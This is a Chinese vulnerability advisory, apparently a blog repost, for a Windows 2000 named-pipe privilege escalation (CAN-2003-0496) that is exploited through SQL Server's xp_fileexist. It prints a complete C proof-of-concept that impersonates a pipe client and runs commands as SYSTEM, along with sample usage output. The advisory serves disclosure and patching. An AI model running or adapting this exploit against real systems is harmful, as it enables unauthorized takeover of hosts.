Microsoft Windows CreateFile API命名管道权限提升漏洞
2007-06-27 14:09
417 查看
Microsoft Windows CreateFile API命名管道权限提升漏洞
发布时间:2003-07-08更新时间:2003-07-15
严重程度:高
威胁程度:本地管理员权限
错误类型:设计错误
利用方式:服务器模式
BUGTRAQ ID:8128
CVE(CAN) ID:CAN-2003-0496
受影响系统 Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Professional SP3
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Server SP3
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server
Microsoft Windows 2000 Terminal Services SP3
+Microsoft Windows 2000 Advanced Server SP3
+Microsoft Windows 2000 Datacenter Server SP3
+Microsoft Windows 2000 Server SP3
Microsoft Windows 2000 Terminal Services SP2
+Microsoft Windows 2000 Advanced Server SP2
+Microsoft Windows 2000 Datacenter Server SP2
+Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Terminal Services SP1
+Microsoft Windows 2000 Advanced Server SP1
+Microsoft Windows 2000 Datacenter Server SP1
+Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Terminal Services
+Microsoft Windows 2000 Advanced Server
+Microsoft Windows 2000 Datacenter Server
+Microsoft Windows 2000 Server未影响系统 Microsoft Windows 2000 Advanced Server SP4
Microsoft Windows 2000 Datacenter Server SP4
Microsoft Windows 2000 Professional SP4
Microsoft Windows 2000 Server SP4
Microsoft Windows 2000 Terminal Services SP4
+Microsoft Windows 2000 Advanced Server SP4
+Microsoft Windows 2000 Datacenter Server SP4
+Microsoft Windows 2000 Server SP4详细描述
Microsoft Windows未能正确处理CreateFile API建立的命名管道,当以此命名管道作为参数传递给SQL Server的xp_fileexist存储过程时会导致攻击者以SQL进程的权限执行任意命令。
测试代码
C:/>mssqlpipe.exe cmd.exe
Creating pipe: //./Pipe/atstake
Pipe created, waiting for connectection
Connect to the database (with isql for example) and execute:
xp_fileexist '//SERVERNAME/pipe/atsstake'
Then in command shell #2:
C:/>isql -U andreas
Password:
1> xp_fileexist '//TEMP123/pipe/atstake'
2> go
File Exists File is a Directory Parent Directory Exists
----------- ------------------- -----------------------
1 0 1
Then, back in command shell #1:
Impersonate user successful, we are running as user: SYSTEM
/* tac0tac0.c - pay no attention to the name, long
story...
*
* Author: Maceo
* Modified to take advantage of CAN-2003-0496 Named
Pipe Filename
* Local Privilege Escalation Found by @stake. Use with
their Advisory.
* -wirepair@sh0dan.org http://sh0dan.org
*
*
* All credits for code go to Maceo, i really did
minimal work
* with his code, it took me like 3 seconds heh.
* Shouts to #innercircle,
*
*/
#include <stdio.h>
#include <windows.h>
int main(int argc, char **argv)
{
DWORD dwNumber = 0;
DWORD dwType = REG_DWORD;
DWORD dwSize = sizeof(DWORD);
if (argc != 2) {
fprintf(stderr, "Usage: %s <cmd.exe>/nNamed Pipe Local
Priv Escalation found by @stake./n"
"This code is to be used with MS-SQL exactly as
outlined in their advisory/n"
"All credit for this code goes to Maceo, he did a
fine job.. -wire/n",argv[0]);
exit(1);
}
// build the next named pipe name //
char szPipe[64];
//sprintf(szPipe, "////.//pipe//net//NtControlPipe%lu",
++dwNumber);
sprintf(szPipe, "////.//pipe//poop");
// create the named pipe before scm can //
HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT,
2, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE)
{
printf ("Failed to create named pipe:/n %s/n",
szPipe);
return 3;
}
ConnectNamedPipe (hPipe, NULL);
// assume the identity of the client //
if (!ImpersonateNamedPipeClient (hPipe))
{
printf ("Failed to impersonate the named pipe./n");
CloseHandle(hPipe);
return 5;
}
// display impersonating users name //
dwSize = 256;
char szUser[256];
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s/n", szUser);
system(argv[1]);
CloseHandle(hPipe);
return 0;
}
解决方案
厂商已经在最新的补丁包中修补了此漏洞:
Microsoft Windows 2000 Server SP3:
Microsoft Upgrade Windows 2000 SP4
http://www.microsoft.com/windows2000/downloads/servicepacks/sp4/default.asp
相关信息
Named Pipe Filename Local Privilege Escalation
http://www.atstake.com/research/advisories/2003/a070803-1.txt
相关文章推荐
- Microsoft Windows CreateFile API命名管道权限提升漏洞
- Microsoft Windows Kernel整数截断本地权限提升漏洞:触发原因-汇编形态
- MS Windows SeImpersonatePrivilege权限提升漏洞
- Microsoft IIS文件更改通知本地权限提升漏洞(MS08-005)
- MS08-025:Microsoft Windows内核的特权提升漏洞
- Windows键盘事件权限提升漏洞
- Windows 图像捕获服务本地权限提升漏洞
- Linux内核漏洞(权限提升)实例
- Windows环境下利用“共享内存”实现进程间通信的C/C++代码---利用CreateFileMapping和MapViewOfFile
- IIS 之当前标识(NT AUTHORITY/NETWORK SERVICE)没有对“C:/WINDOWS/Microsoft.NET/Framework/v2.0.50727/Temporary ASP.NET Files”的写访问权限 问题的解决
- Windows进程间通信之命名管道
- 匿名和命名管道(windows)
- Kaspersky杀毒软件klif.sys权限提升漏洞
- IIS 之当前标识(NT AUTHORITY/NETWORK SERVICE)没有对“C:/WINDOWS/Microsoft.NET/Framework/v2.0.50727/Temporary ASP.NET Files”的写访问权限
- Linux Kernel 本地权限提升漏洞
- 解决MYSQL出现 Can't create/write to file 'C:/WINDOWS/TEMP/#sql_5c0_0.MYD'
- provider:命名管道提供程序,error:40 - 无法打开到SQL Server的连接 (Microsoft
- apache_openssl漏洞的利用及权限的提升
- 【漏洞公告】CVE-2017-7669:Apache Hadoop远程权限提升漏洞
- 匿名和命名管道(windows)